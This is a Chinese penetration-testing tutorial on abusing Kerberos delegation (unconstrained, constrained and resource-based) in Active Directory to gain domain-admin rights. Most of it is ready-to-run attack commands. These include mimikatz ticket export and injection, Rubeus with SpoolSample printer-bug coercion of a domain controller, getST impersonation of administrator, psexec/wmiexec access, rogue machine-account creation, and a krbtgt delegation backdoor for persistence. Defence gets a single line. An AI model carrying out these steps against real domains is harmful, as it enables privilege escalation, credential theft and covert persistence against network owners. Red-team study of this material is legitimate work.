定义
在内网渗透中,委派是一种授权机制,在Kerberos认证中涉及,允许将域内用户的权限委派给服务账号,使其能以用户的权限在域内展开活动,为多跳认证提供了便利。简单来说,当用户A访问服务B时,服务B可以使用A用户的凭证去访问服务C。
委派攻击通常出现在域环境中,若委派配置不正确或滥用委派,可能导致域管理员权限被获取,甚至制作深度隐藏的后门。
前提
域内只有机器账户和服务账户才有委派属性,被委派的用户不能设置 “敏感账户,不能被委派” 属性。
- 机器账户:活动目录中的Computers组内的计算机
- 服务账户:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer、MYSQL等;域用户通过注册SPN也能成为服务账号。
分类
非约束性委派(Unconstrained Delegation):允许被委派的服务账户以委派用户的身份访问任何服务,存在较大的安全风险。
约束性委派(Constrained Delegation):限制了委派的范围,服务账户只能访问特定的服务,减少了安全风险。
- 基于资源的约束委派(Resource Based Constrained Delegation):进一步限制了委派权限,将委派的控制权交给拥有被访问资源的管理员,提高了安全性。
简述:用户通过服务A以用户的身份访问服务B称之为委派
- 非约束性委派(代表任何用户访问任何服务):在服务A上配置,配置后服务A可以模拟用户的身份访问服务B以及其他任何服务
- 约束性委派(代表任何用户访问特定服务):在服务A上配置,配置后服务A可以模拟用户的身份访问服务B
- 基于资源的约束委派(代表特定用户访问特定服务):在服务B上配置,配置后仅允许服务A模拟特定用户如用户A的身份访问服务B
非约束性委派
允许被委派的服务账户以委派用户的身份访问任何服务,存在较大的安全风险。域控默认配置非约束委派属性,一般情况下真实环境中也只有域控是非约束性委派。
设置非约束性委派
设置后查看机器属性,可以看到在userAccountControl
属性中包含了TRUSTED_FOR_DELEGATION
字段。
非约束性委派流程
User 访问 serverA,于是向DC发起认证,DC会检查 serverA 的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给serverA。
serverA 在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来模拟user访问任何服务。
利用思路
也就是说配置了非约束委派的机器可以拿到被委派用户的TGT,也就可以模拟该用户访问任意服务。
如果拿到了一台配置了非约束委派的机器权限,那么只要域管理员访问了,那么他的TGT就会缓存到LSASS进程中,那么我们就可以模拟域管的身份访问任意资源,也就相当于拿下了域环境。(简单来说拿了一张临时的黄金票据)
利用演示
寻找非约束性委派主机
Set-ExecutionPolicy Bypass -Scope Process -Force
Import-Module .\powerview.ps1
# 域账户
Get-NetUser -Unconstrained -Domain org.gm7
# 主机
Get-NetComputer -Unconstrained -Domain org.gm7
# 域账户
AdFind.exe -b "DC=org,DC=gm7" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName
# 主机
AdFind.exe -b "DC=org,DC=gm7" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName
假设我们拿到了设置了非约束性委派的主机win10的管理员权限(机器账户),此时直接访问DC是没权限的。
这时诱导域管访问win10,任何方式,只要有认证过程即可。
这时win10的lsass进程中已经有了域管的TGT了,使用mimikatz
导出票据
mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"
注入票据
mimikatz
kerberos::ptt [0;3c6399][email protected]
此时再去访问就有了域管的权限了,尝试访问域控。
spooler打印机服务+非约束性委派
上面的利用演示还是很鸡肋,因为真实环境中需要域管主动访问,利用难度太高。
但在DerbyCon 2018
上tifkin_
,enigma0x3
和harmj0y
提出利用Spooler打印机服务可以强制指定的主机进行连接(PPT地址);利用Windows打印系统远程协议(MS-RPRN)
中的一种旧的但是默认启用的方法,这个协议只使用了基于命名管道的RPC,因此,源和目标服务器会通过445端口建立网络连接。也就说具备域用户账户权限的攻击者可以使用MS-RPRN
的RpcRemoteFindFirstPrinterChangeNotification(Ex)
方法来强迫运行Spooler服务的任何主机通过Kerberos或者NTLM向攻击者选择的目标发起身份认证请求。
注:Print Spooler 服务默认启动
利用这个协议,我们就能够让域管的机器账号强制与我们控制的非约束性委派的机子强行建立连接,从而得到域管的TGT。
需要工具:
- https://github.com/leechristensen/SpoolSample/(需要自己下载编译,也可以去GitHub找别人编译好的)
- https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py(可以在域外输入账号密码触发打印机BUG)
- https://github.com/GhostPack/Rubeus(也可以用mimikatz导出TGT,但mimikatz一定要手速快,不然就会失败)
过程和上方的利用演示类似,目的就是为了拿到域管的TGT
# Rebeus监听TGT
Rubeus.exe monitor /interval:1 /filteruser:PDC$
# 强制让DC的打印机服务连接我们
spoolsample.exe PDC desktop-9cat508
导入票据,还是使用Rubeus
Rubeus.exe ptt /ticket:<Base64EncodedTicket>
导入后就和前面一样了,获取krbtgt
的hash,得到黄金票据,直接拿下域控。
约束性委派
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,为了在Kerberos协议层面对约束性委派的支持,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)
和 Service for User to Proxy (S4U2proxy)
,这两个扩展都允许服务代表用户从KDC请求票证:
S4U2self
允许服务账户代表用户请求其自身的服务票据(ST1),但无法代表用户请求其他服务,因此必须在具有SPN的账户上操作S4U2proxy
允许服务账户以用户的身份请求其他服务的服务票据(ST2),并将其传递给目标服务,因此具有更广泛的委派权限;约束性委派就是限制S4U2Proxy
的范围,以增强安全性
ST1 和 ST2 的关系见下方 约束性委派流程
设置约束性委派
设置后查看机器属性,可以看到在msDS-AllowedToDelegateTo
属性中包含了委派的服务。
约束性委派流程
user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问(S4U2Self
)。
如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy
协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。
域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。
利用思路
由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT,所以只能模拟用户访问特定的服务
但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2 。
利用演示
寻找配置了约束性委派的主机或账户
寻找非约束性委派主机
Set-ExecutionPolicy Bypass -Scope Process -Force
Import-Module .\powerview.ps1
# 域账户
Get-DomainUser -TrustedToAuth -Domain org.gm7 | select name
# 主机
Get-DomainComputer -TrustedToAuth -Domain org.gm7 | select name
# 域账户
AdFind.exe -b "DC=org,DC=gm7" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
# 主机
AdFind.exe -b "DC=org,DC=gm7" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
假设我们拿到了配置了访问DC CIFS服务的约束性委派的域账号d4m1ts
,现在我们尝试以Administrator的权限访问DC的CIFS服务。
利用getST
生成票据
getST.exe -dc-ip 172.16.93.15 org.gm7/d4m1ts:KsadiN8A.as221 -spn cifs/PDC.org.gm7 -impersonate administrator
然后导入票据访问对应的服务
用wmiexec或者psexec访问
set KRB5CCNAME=administrator.ccache
wmiexec.exe PDC.org.gm7 -no-pass -k -dc-ip 172.16.93.15
psexec.exe -k org.gm7/[email protected] -no-pass
基于资源的约束性委派
传统的委派在设置的过程中其实都是需要SeEnableDelegation
特权,而这个特权通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。
要配置基于资源的约束委派,通过修改msDS-AllowedToActOnBehalfOfOtherIdentity
属性的值来完成,一般使用工具完成。
与约束性委派的区别
约束委派:
- 通过服务A委派到服务B,实际是在服务A上增加
TRUSTED_FOR_DELEGATION
字段(非约束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
和msDS-AllowedToDelegateTo
(约束委派)字段来达到委派的目的(修改的是服务A的属性) - 需要由域管配置
- 不能跨域进行委派
基于资源的约束委派:
- 通过服务B允许服务A委派到服务B,实际是通过服务B自身赋予
msDS-AllowedToActOnBehalfOfOtherIdentity
字段,从而允许服务A对服务B的基于资源的约束委派。(修改的是服务B的属性) - 只要有编辑
msDS-AllowedToActOnBehalfOfOtherIdentity
的权限就可以配置(一般是机器账户和带这台机器进域的域用户) - 可以跨域跨林
利用思路
因为能够模拟其他用户的权限访问自己,所以资源的约束委派只能对自己进行攻击,也就是说提权操作或者权限维持。
利用演示
利用条件
- 1是需要有能够修改
msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限,一般是机器账户和带这台机器进域的域用户有权限 - 2是
S4U2Self
只适用于具有SPN的账户,所以我们还需要一个具有SPN的账户;而一般情况下域用户是没有权限注册SPN的,但研究者发现每一个域用户都可以添加最多10个机器账户(对应属性MachineAccountQuota
),而机器账户默认是注册RestrictedKrbHost/domain
和HOST/domain
这两个SPN的
查询这台机器是谁带进域的
AdFind.exe -h 172.16.93.15 -b "DC=org,DC=gm7" -f "objectClass=computer" mS-DS-CreatorSID
根据查询到的SID查询用户
AdFind.exe -h 172.16.93.15 -b "DC=org,DC=gm7" -f "objectSid:=S-1-5-21-1878822121-1315641291-3131639831-1108" samaccountname
本地提权
假设现在已经拿到了域用户d4m1ts
的权限,可以登录到DESKTOP-9CAT508
这台机器上,且这台机器刚好就是d4m1ts
带进域的,那我们就可以通过配置基于资源的约束委派进行提权。
首先利用Powermad.ps1创建机器账户
Set-ExecutionPolicy Bypass -Scope Process -Force
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
利用PowerView查询机器账户的sid
Import-Module .\powerview.ps1
Get-NetComputer test1 -Properties objectsid
拿到机器账户test1的SID S-1-5-21-1878822121-1315641291-3131639831-1111
,到配置test1到DESKTOP-9CAT508的委派,使用Powerview修改DESKTOP-9CAT508
的msds-allowedtoactonbehalfofotheridentity
的值
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1878822121-1315641291-3131639831-1111)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DESKTOP-9CAT508| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
查询是否修改成功
Get-DomainComputer DESKTOP-9CAT508 -Properties msds-allowedtoactonbehalfofotheridentity
配置完后就可以进行利用了,生成票据
getST.exe -dc-ip 172.16.93.15 org.gm7/test1\$:123456 -spn cifs/DESKTOP-9CAT508.org.gm7 -impersonate administrator
使用wmiexec
或者psexec
连接
set KRB5CCNAME=administrator.ccache
wmiexec.exe DESKTOP-9CAT508.org.gm7 -no-pass -k -dc-ip 172.16.93.15
psexec.exe -k org.gm7/[email protected] -no-pass
如果后续要清除 msds-allowedtoactonbehalfofotheridentity
属性的值,使用如下命令:
Set-DomainObject DESKTOP-9CAT508 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
权限维持
在获得域控的权限后,可以对krbtgt
用户配置基于资源的约束委派属性,这样我们就可以随时访问DC了。
首先利用Powermad.ps1创建机器账户
Set-ExecutionPolicy Bypass -Scope Process -Force
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount test2 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
然后在域控上的powershell执行如下命令配置委派
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test2$
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
配置好后就可以利用了,申请票据
getST.exe -dc-ip 172.16.93.15 org.gm7/test2\$:123456 -spn krbtgt -impersonate administrator
导入票据并执行
set KRB5CCNAME=administrator.ccache
wmiexec.exe PDC.org.gm7 -no-pass -k -dc-ip 172.16.93.15
psexec.exe -k org.gm7/[email protected] -no-pass
防御
设置 “敏感账户,不能被委派” 属性。